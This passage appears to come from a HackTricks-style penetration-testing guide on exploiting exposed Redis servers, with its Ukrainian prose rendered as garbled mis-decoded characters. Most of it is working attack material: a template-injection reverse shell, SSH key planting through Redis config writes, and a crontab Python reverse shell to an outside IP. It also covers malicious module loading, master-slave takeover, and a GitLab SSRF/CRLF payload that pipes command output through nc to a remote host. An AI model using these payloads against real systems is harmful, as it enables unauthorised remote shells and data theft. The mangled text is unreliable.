ΠΠ°ΠΏΡΠΈΠΊΠ»Π°Π΄, ΡΠ»ΡΠ΄ΡΡΡΠΈ [**ΡΡΠΎΠΌΡ ΠΎΠΏΠΈΡΡ**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠΎΠ±Π°ΡΠΈΡΠΈ, ΡΠΎ Π·Π»ΠΎΠ²ΠΌΠΈΡΠ½ΠΈΠΊ Π²ΡΡΠ°Π²ΠΈΠ² **rev shell Π² html**, ΡΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΎΠ²Π°Π½ΠΈΠΉ **Π΄Π²ΠΈΠ³ΡΠ½ΠΎΠΌ ΡΠ°Π±Π»ΠΎΠ½ΡΠ² nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
ΠΠ²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ **Π΄Π΅ΠΊΡΠ»ΡΠΊΠ° ΡΠ°Π±Π»ΠΎΠ½Π½ΠΈΡ
Π΄Π²ΠΈΠΆΠΊΡΠ² ΠΊΠ΅ΡΡΡΡΡ** ΡΠ°Π±Π»ΠΎΠ½ΠΈ Π² **ΠΏΠ°ΠΌ'ΡΡΡ**, ΡΠΎΠΌΡ Π½Π°Π²ΡΡΡ ΡΠΊΡΠΎ Π²ΠΈ ΡΡ
ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΠΈΡΠ΅ΡΠ΅, Π½ΠΎΠ²ΠΈΠΉ **Π½Π΅ Π±ΡΠ΄Π΅ Π²ΠΈΠΊΠΎΠ½Π°Π½ΠΈΠΉ**. Π£ ΡΠ°ΠΊΠΈΡ
Π²ΠΈΠΏΠ°Π΄ΠΊΠ°Ρ
Π°Π±ΠΎ ΡΠΎΠ·ΡΠΎΠ±Π½ΠΈΠΊ Π·Π°Π»ΠΈΡΠΈΠ² Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½Π΅ ΠΏΠ΅ΡΠ΅Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ Π°ΠΊΡΠΈΠ²Π½ΠΈΠΌ, Π°Π±ΠΎ Π²Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π½ΠΎ Π·ΡΠΎΠ±ΠΈΡΠΈ DoS Π½Π°Π΄ ΡΠ΅ΡΠ²ΡΡΠΎΠΌ (Ρ ΡΠΏΠΎΠ΄ΡΠ²Π°ΡΠΈΡΡ, ΡΠΎ Π²ΡΠ½ Π±ΡΠ΄Π΅ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΡΡΠ΅Π½ΠΈΠΉ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ).
{% endhint %}
### SSH
ΠΡΠΈΠΊΠ»Π°Π΄ [Π·Π²ΡΠ΄ΡΠΈ](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
ΠΡΠ΄Ρ Π»Π°ΡΠΊΠ°, Π·Π²Π΅ΡΠ½ΡΡΡ ΡΠ²Π°Π³Ρ, ΡΠΎ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ **`config get dir`** ΠΌΠΎΠΆΠ΅ Π·ΠΌΡΠ½ΠΈΡΠΈΡΡ ΠΏΡΡΠ»Ρ ΡΠ½ΡΠΈΡ
ΡΡΡΠ½ΠΈΡ
Π΅ΠΊΡΠΏΠ»ΠΎΠΉΡ-ΠΊΠΎΠΌΠ°Π½Π΄. Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡΡΡΡΡ Π²ΠΈΠΊΠΎΠ½Π°ΡΠΈ ΠΉΠΎΠ³ΠΎ ΡΠΏΠΎΡΠ°ΡΠΊΡ Π²ΡΠ΄ΡΠ°Π·Ρ ΠΏΡΡΠ»Ρ Π²Ρ
ΠΎΠ΄Ρ Π² Redis. Π£ Π²ΠΈΡ
ΠΎΠ΄Ρ **`config get dir`** Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π·Π½Π°ΠΉΡΠΈ **Π΄ΠΎΠΌΠ°ΡΠ½Ρ** Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΡΡ **ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ° redis** (Π·Π°Π·Π²ΠΈΡΠ°ΠΉ _/var/lib/redis_ Π°Π±ΠΎ _/home/redis/.ssh_), Ρ Π·Π½Π°ΡΡΠΈ ΡΠ΅, Π²ΠΈ Π·Π½Π°ΡΡΠ΅, ΠΊΡΠ΄ΠΈ ΠΌΠΎΠΆΠ½Π° Π·Π°ΠΏΠΈΡΠ°ΡΠΈ ΡΠ°ΠΉΠ» `authenticated_users` Π΄Π»Ρ Π΄ΠΎΡΡΡΠΏΡ ΡΠ΅ΡΠ΅Π· ssh **Π· ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ΅ΠΌ redis**. Π―ΠΊΡΠΎ Π²ΠΈ Π·Π½Π°ΡΡΠ΅ Π΄ΠΎΠΌΠ°ΡΠ½Ρ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΡΡ ΡΠ½ΡΠΎΠ³ΠΎ Π΄ΡΠΉΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΡΠΈΡΡΡΠ²Π°ΡΠ°, Π΄Π΅ Ρ Π²Π°Ρ Ρ ΠΏΡΠ°Π²Π° Π½Π° Π·Π°ΠΏΠΈΡ, Π²ΠΈ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°ΡΠΈ ΡΠΈΠΌ:
1. ΠΠ³Π΅Π½Π΅ΡΡΠΉΡΠ΅ ΠΏΠ°ΡΡ ssh ΠΏΡΠ±Π»ΡΡΠ½ΠΎΠ³ΠΎ-ΠΏΡΠΈΠ²Π°ΡΠ½ΠΎΠ³ΠΎ ΠΊΠ»ΡΡΠ° Π½Π° Π²Π°ΡΠΎΠΌΡ ΠΠ: **`ssh-keygen -t rsa`**
2. ΠΠ°ΠΏΠΈΡΡΡΡ ΠΏΡΠ±Π»ΡΡΠ½ΠΈΠΉ ΠΊΠ»ΡΡ Ρ ΡΠ°ΠΉΠ» : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. ΠΠΌΠΏΠΎΡΡΡΠΉΡΠ΅ ΡΠ°ΠΉΠ» Ρ redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. ΠΠ±Π΅ΡΠ΅ΠΆΡΡΡ ΠΏΡΠ±Π»ΡΡΠ½ΠΈΠΉ ΠΊΠ»ΡΡ Ρ ΡΠ°ΠΉΠ»Ρ **authorized\_keys** Π½Π° ΡΠ΅ΡΠ²Π΅ΡΡ redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. ΠΠ°ΡΠ΅ΡΡΡ, Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ **ssh** Π½Π° **ΡΠ΅ΡΠ²Π΅Ρ redis** Π· ΠΏΡΠΈΠ²Π°ΡΠ½ΠΈΠΌ ΠΊΠ»ΡΡΠ΅ΠΌ : **ssh -i id\_rsa redis@10.85.0.52**
**Π¦Ρ ΡΠ΅Ρ
Π½ΡΠΊΠ° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΎΠ²Π°Π½Π° ΡΡΡ:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
ΠΡΡΠ°Π½Π½ΡΠΉ ΠΏΡΠΈΠΊΠ»Π°Π΄ Π΄Π»Ρ Ubuntu, Π΄Π»Ρ **Centos** Π²ΠΈΡΠ΅ Π½Π°Π²Π΅Π΄Π΅Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΏΠΎΠ²ΠΈΠ½Π½Π° Π±ΡΡΠΈ: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Π¦Π΅ΠΉ ΠΌΠ΅ΡΠΎΠ΄ ΡΠ°ΠΊΠΎΠΆ ΠΌΠΎΠΆΠ½Π° Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΠ²Π°ΡΠΈ Π΄Π»Ρ Π·Π°ΡΠΎΠ±ΡΡΠΊΡ Π±ΡΡΠΊΠΎΠΉΠ½ΡΠ² οΌ[yam](https://www.v2ex.com/t/286981#reply14)
### ΠΠ°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Π½Ρ ΠΌΠΎΠ΄ΡΠ»Ρ Redis
1. ΠΠΎΡΡΠΈΠΌΡΡΡΠΈΡΡ ΡΠ½ΡΡΡΡΠΊΡΡΠΉ Π· [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ **ΡΠΊΠΎΠΌΠΏΡΠ»ΡΠ²Π°ΡΠΈ ΠΌΠΎΠ΄ΡΠ»Ρ redis Π΄Π»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ Π΄ΠΎΠ²ΡΠ»ΡΠ½ΠΈΡ
ΠΊΠΎΠΌΠ°Π½Π΄**.
2. ΠΠΎΡΡΠΌ Π²Π°ΠΌ ΠΏΠΎΡΡΡΠ±Π΅Π½ ΡΠΏΠΎΡΡΠ± **Π·Π°Π²Π°Π½ΡΠ°ΠΆΠΈΡΠΈ ΡΠΊΠΎΠΌΠΏΡΠ»ΡΠΎΠ²Π°Π½ΠΈΠΉ** ΠΌΠΎΠ΄ΡΠ»Ρ.
3. **ΠΠ°Π²Π°Π½ΡΠ°ΠΆΡΠ΅ Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠ΄ΡΠ»Ρ** ΠΏΡΠ΄ ΡΠ°Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ Π·Π° Π΄ΠΎΠΏΠΎΠΌΠΎΠ³ΠΎΡ `MODULE LOAD /path/to/mymodule.so`.
4. **ΠΠ΅ΡΠ΅ΡΠ°Ρ
ΡΠΉΡΠ΅ Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½Ρ ΠΌΠΎΠ΄ΡΠ»Ρ**, ΡΠΎΠ± ΠΏΠ΅ΡΠ΅Π²ΡΡΠΈΡΠΈ, ΡΠΈ Π±ΡΠ² Π²ΡΠ½ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ Π·Π°Π²Π°Π½ΡΠ°ΠΆΠ΅Π½ΠΈΠΉ: `MODULE LIST`.
5. **ΠΠΈΠΊΠΎΠ½Π°ΠΉΡΠ΅** **ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. ΠΠΈΠ²Π°Π½ΡΠ°ΠΆΡΠ΅ ΠΌΠΎΠ΄ΡΠ»Ρ, ΠΊΠΎΠ»ΠΈ Π·Π°Ρ
ΠΎΡΠ΅ΡΠ΅: `MODULE UNLOAD mymodule`.
### ΠΠ±Ρ
ΡΠ΄ ΠΏΡΡΠΎΡΠ½ΠΈΡΡ LUA
[**Π’ΡΡ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠΎΠ±Π°ΡΠΈΡΠΈ, ΡΠΎ Redis Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ **EVAL** Π΄Π»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ **ΠΊΠΎΠ΄Ρ Lua Π² ΠΏΡΡΠΎΡΠ½ΠΈΡΡ**. Π£ ΠΏΠΎΠ²'ΡΠ·Π°Π½ΠΎΠΌΡ ΠΏΠΎΡΡΡ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠΎΠ±Π°ΡΠΈΡΠΈ, **ΡΠΊ Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°ΡΠΈ ΡΠΈΠΌ**, Π²ΠΈΠΊΠΎΡΠΈΡΡΠΎΠ²ΡΡΡΠΈ ΡΡΠ½ΠΊΡΡΡ **dofile**, Π°Π»Π΅ [ΠΎΡΠ΅Π²ΠΈΠ΄Π½ΠΎ](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), ΡΠΎ ΡΠ΅ Π±ΡΠ»ΡΡΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ. Π£ Π±ΡΠ΄Ρ-ΡΠΊΠΎΠΌΡ Π²ΠΈΠΏΠ°Π΄ΠΊΡ, ΡΠΊΡΠΎ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ **ΠΎΠ±ΡΠΉΡΠΈ ΠΏΡΡΠΎΡΠ½ΠΈΡΡ Lua**, Π²ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π± **Π²ΠΈΠΊΠΎΠ½Π°ΡΠΈ Π΄ΠΎΠ²ΡΠ»ΡΠ½Ρ** ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° ΡΠΈΡΡΠ΅ΠΌΡ. Π’Π°ΠΊΠΎΠΆ, Π· ΡΠΎΠ³ΠΎ ΠΆ ΠΏΠΎΡΡΡ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΏΠΎΠ±Π°ΡΠΈΡΠΈ Π΄Π΅ΡΠΊΡ **Π²Π°ΡΡΠ°Π½ΡΠΈ Π΄Π»Ρ Π²ΠΈΠΊΠ»ΠΈΠΊΡ DoS**.
ΠΠ΅ΡΠΊΡ **CVE Π΄Π»Ρ Π²ΡΠ΅ΡΡ Π· LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### ΠΠΎΠ΄ΡΠ»Ρ Master-Slave
βΠΠΎΠ»ΠΎΠ²Π½ΠΈΠΉ redis Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΡΠΈΠ½Ρ
ΡΠΎΠ½ΡΠ·ΡΡ Π²ΡΡ ΠΎΠΏΠ΅ΡΠ°ΡΡΡ Π· slave redis, ΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Ρ, ΡΠΎ ΠΌΠΈ ΠΌΠΎΠΆΠ΅ΠΌΠΎ ΡΠΎΠ·Π³Π»ΡΠ΄Π°ΡΠΈ Π²ΡΠ°Π·Π»ΠΈΠ²ΠΈΠΉ redis ΡΠΊ slave redis, ΠΏΡΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΉ Π΄ΠΎ Π³ΠΎΠ»ΠΎΠ²Π½ΠΎΠ³ΠΎ redis, ΡΠΊΠΈΠΉ ΠΌΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΡΠΌΠΎ, ΡΠΎΠ΄Ρ ΠΌΠΈ ΠΌΠΎΠΆΠ΅ΠΌΠΎ Π²Π²Π΅ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π΄ΠΎ Π½Π°ΡΠΎΠ³ΠΎ Π²Π»Π°ΡΠ½ΠΎΠ³ΠΎ redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF talking to Redis
Π―ΠΊΡΠΎ Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°Π΄ΡΡΠ»Π°ΡΠΈ **ΡΠ΅ΠΊΡΡΠΎΠ²ΠΈΠΉ** Π·Π°ΠΏΠΈΡ **Π΄ΠΎ Redis**, Π²ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ **ΡΠΏΡΠ»ΠΊΡΠ²Π°ΡΠΈΡΡ Π· Π½ΠΈΠΌ**, ΠΎΡΠΊΡΠ»ΡΠΊΠΈ Redis Π±ΡΠ΄Π΅ ΡΠΈΡΠ°ΡΠΈ Π·Π°ΠΏΠΈΡ ΡΡΠ΄ΠΎΠΊ Π·Π° ΡΡΠ΄ΠΊΠΎΠΌ Ρ ΠΏΡΠΎΡΡΠΎ Π²ΡΠ΄ΠΏΠΎΠ²ΡΠ΄Π°ΡΠΈ ΠΏΠΎΠΌΠΈΠ»ΠΊΠ°ΠΌΠΈ Π½Π° ΡΡΠ΄ΠΊΠΈ, ΡΠΊΡ Π½Π΅ ΡΠΎΠ·ΡΠΌΡΡ:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Π’ΠΎΠΌΡ, ΡΠΊΡΠΎ Π²ΠΈ Π·Π½Π°ΠΉΠ΄Π΅ΡΠ΅ **SSRF vuln** Π½Π° Π²Π΅Π±-ΡΠ°ΠΉΡΡ Ρ Π·ΠΌΠΎΠΆΠ΅ΡΠ΅ **ΠΊΠΎΠ½ΡΡΠΎΠ»ΡΠ²Π°ΡΠΈ** Π΄Π΅ΡΠΊΡ **Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ** (ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π· Π²ΡΠ°Π·Π»ΠΈΠ²ΡΡΡΡ CRLF) Π°Π±ΠΎ **POST ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ**, Π²ΠΈ Π·ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°Π΄ΡΠΈΠ»Π°ΡΠΈ Π΄ΠΎΠ²ΡΠ»ΡΠ½Ρ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π΄ΠΎ Redis.
### ΠΡΠΈΠΊΠ»Π°Π΄: Gitlab SSRF + CRLF Π΄ΠΎ Shell
Π£ **Gitlab11.4.7** Π±ΡΠ»Π° Π²ΠΈΡΠ²Π»Π΅Π½Π° **SSRF** Π²ΡΠ°Π·Π»ΠΈΠ²ΡΡΡΡ ΡΠ° **CRLF**. **SSRF** Π²ΡΠ°Π·Π»ΠΈΠ²ΡΡΡΡ Π±ΡΠ»Π° Π² **ΡΡΠ½ΠΊΡΡΠΎΠ½Π°Π»Ρ ΡΠΌΠΏΠΎΡΡΡ ΠΏΡΠΎΠ΅ΠΊΡΡ Π· URL** ΠΏΡΠ΄ ΡΠ°Ρ ΡΡΠ²ΠΎΡΠ΅Π½Π½Ρ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡΠΎΠ΅ΠΊΡΡ Ρ Π΄ΠΎΠ·Π²ΠΎΠ»ΡΠ»Π° ΠΎΡΡΠΈΠΌΡΠ²Π°ΡΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Π΄ΠΎΠ²ΡΠ»ΡΠ½ΠΈΡ
IP-Π°Π΄ΡΠ΅Ρ Ρ ΡΠΎΡΠΌΡ \[0:0:0:0:0:ffff:127.0.0.1] (ΡΠ΅ ΠΎΡΡΠΈΠΌΡΡ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ 127.0.0.1), Π° Π²ΡΠ°Π·Π»ΠΈΠ²ΡΡΡΡ **CRLF** Π±ΡΠ»Π° Π²ΠΈΠΊΠΎΡΠΈΡΡΠ°Π½Π° ΠΏΡΠΎΡΡΠΎ **Π΄ΠΎΠ΄Π°Π²Π°Π½Π½ΡΠΌ ΡΠΈΠΌΠ²ΠΎΠ»ΡΠ² %0D%0A** Π΄ΠΎ **URL**.
Π’ΠΎΠΌΡ Π±ΡΠ»ΠΎ ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΈΠΌ **Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°ΡΠΈ ΡΠΈΠΌΠΈ Π²ΡΠ°Π·Π»ΠΈΠ²ΠΎΡΡΡΠΌΠΈ, ΡΠΎΠ± ΡΠΏΡΠ»ΠΊΡΠ²Π°ΡΠΈΡΡ Π· Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠΎΠΌ Redis**, ΡΠΊΠΈΠΉ **ΠΊΠ΅ΡΡΡ ΡΠ΅ΡΠ³Π°ΠΌΠΈ** Π· **gitlab** Ρ Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°ΡΠΈ ΡΠΈΠΌΠΈ ΡΠ΅ΡΠ³Π°ΠΌΠΈ, ΡΠΎΠ± **ΠΎΡΡΠΈΠΌΠ°ΡΠΈ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ ΠΊΠΎΠ΄Ρ**. ΠΠ΅ΠΉΠ»ΠΎΠ°Π΄ Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Π½Π½Ρ ΡΠ΅ΡΠ³ΠΎΡ Redis:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
Π Π·Π°ΠΏΠΈΡ **URL encode**, ΡΠΎ **Π·Π»ΠΎΠ²ΠΆΠΈΠ²Π°Ρ SSRF** ΡΠ° **CRLF** Π΄Π»Ρ Π²ΠΈΠΊΠΎΠ½Π°Π½Π½Ρ `whoami` Ρ Π²ΡΠ΄ΠΏΡΠ°Π²ΠΊΠΈ Π²ΠΈΡ
ΠΎΠ΄Ρ ΡΠ΅ΡΠ΅Π· `nc`, Π²ΠΈΠ³Π»ΡΠ΄Π°Ρ ΡΠ°ΠΊ:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Π ΡΠΊΠΎΡΡΡ ΠΏΡΠΈΡΠΈΠ½ΠΈ (ΡΠΊ Π΄Π»Ρ Π°Π²ΡΠΎΡΠ°_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _Π·Π²ΡΠ΄ΠΊΠΈ Π±ΡΠ»Π° Π²Π·ΡΡΠ° ΡΡ ΡΠ½ΡΠΎΡΠΌΠ°ΡΡΡ) Π΅ΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΡΡ ΠΏΡΠ°ΡΡΠ²Π°Π»Π° Π· ΡΡ
Π΅ΠΌΠΎΡ `git`, Π° Π½Π΅ Π· ΡΡ
Π΅ΠΌΠΎΡ `http`._
ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ΡΠ΅ΡΠ²Π΅ΡΠ°, ΡΠΎΠ± ΡΠΏΡΠ»ΠΊΡΠ²Π°ΡΠΈΡΡ Π· Π΄ΠΎΡΠ²ΡΠ΄ΡΠ΅Π½ΠΈΠΌΠΈ Ρ
Π°ΠΊΠ΅ΡΠ°ΠΌΠΈ ΡΠ° ΡΡΠΊΠ°ΡΠ°ΠΌΠΈ Π²ΡΠ°Π·Π»ΠΈΠ²ΠΎΡΡΠ΅ΠΉ!
**ΠΠ½ΡΠ°ΠΉΡΠΈ Π· Ρ
Π°ΠΊΡΠ½Π³Ρ**\
ΠΠ°Π»ΡΡΠ°ΠΉΡΠ΅ΡΡ Π΄ΠΎ ΠΊΠΎΠ½ΡΠ΅Π½ΡΡ, ΡΠΊΠΈΠΉ Π·Π°Π½ΡΡΡΡΡΡΡΡ Π² Π·Π°Ρ
ΠΎΠΏΠ»Π΅Π½Π½Ρ ΡΠ° Π²ΠΈΠΊΠ»ΠΈΠΊΠΈ Ρ
Π°ΠΊΡΠ½Π³Ρ
**ΠΠΎΠ²ΠΈΠ½ΠΈ Ρ
Π°ΠΊΡΠ½Π³Ρ Π² ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΡΡ**\
Π‘Π»ΡΠ΄ΠΊΡΠΉΡΠ΅ Π·Π° ΡΠ²ΠΈΠ΄ΠΊΠΎΠΏΠ»ΠΈΠ½Π½ΠΈΠΌ ΡΠ²ΡΡΠΎΠΌ Ρ
Π°ΠΊΡΠ½Π³Ρ ΡΠ΅ΡΠ΅Π· Π½ΠΎΠ²ΠΈΠ½ΠΈ ΡΠ° ΡΠ½ΡΠ°ΠΉΡΠΈ Π² ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΡΡ
**ΠΡΡΠ°Π½Π½Ρ ΠΎΠ³ΠΎΠ»ΠΎΡΠ΅Π½Π½Ρ**\
ΠΡΠ΄ΡΡΠ΅ Π² ΠΊΡΡΡΡ Π½ΠΎΠ²ΠΈΡ
ΠΏΡΠΎΠ³ΡΠ°ΠΌ Π²ΠΈΠ½Π°Π³ΠΎΡΠΎΠ΄ Π·Π° Π²ΡΠ°Π·Π»ΠΈΠ²ΠΎΡΡΡ ΡΠ° Π²Π°ΠΆΠ»ΠΈΠ²ΠΈΡ
ΠΎΠ½ΠΎΠ²Π»Π΅Π½Ρ ΠΏΠ»Π°ΡΡΠΎΡΠΌ
**ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ Π½Π°Ρ Π½Π°** [**Discord**](https://discord.com/invite/N3FrSbmwdy) Ρ ΠΏΠΎΡΠ½ΡΡΡ ΡΠΏΡΠ²ΠΏΡΠ°ΡΡΠ²Π°ΡΠΈ Π· ΠΏΡΠΎΠ²ΡΠ΄Π½ΠΈΠΌΠΈ Ρ
Π°ΠΊΠ΅ΡΠ°ΠΌΠΈ Π²ΠΆΠ΅ ΡΡΠΎΠ³ΠΎΠ΄Π½Ρ!
{% hint style="success" %}
ΠΡΡΡΡΡΡ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ Ρ
Π°ΠΊΡΠ½Π³ AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
ΠΡΡΡΡΡΡ ΡΠ° ΠΏΡΠ°ΠΊΡΠΈΠΊΡΠΉΡΠ΅ Ρ
Π°ΠΊΡΠ½Π³ GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
ΠΡΠ΄ΡΡΠΈΠΌΠ°ΡΠΈ HackTricks
* ΠΠ΅ΡΠ΅Π²ΡΡΡΠ΅ [**ΠΏΠ»Π°Π½ΠΈ ΠΏΡΠ΄ΠΏΠΈΡΠΊΠΈ**](https://github.com/sponsors/carlospolop)!
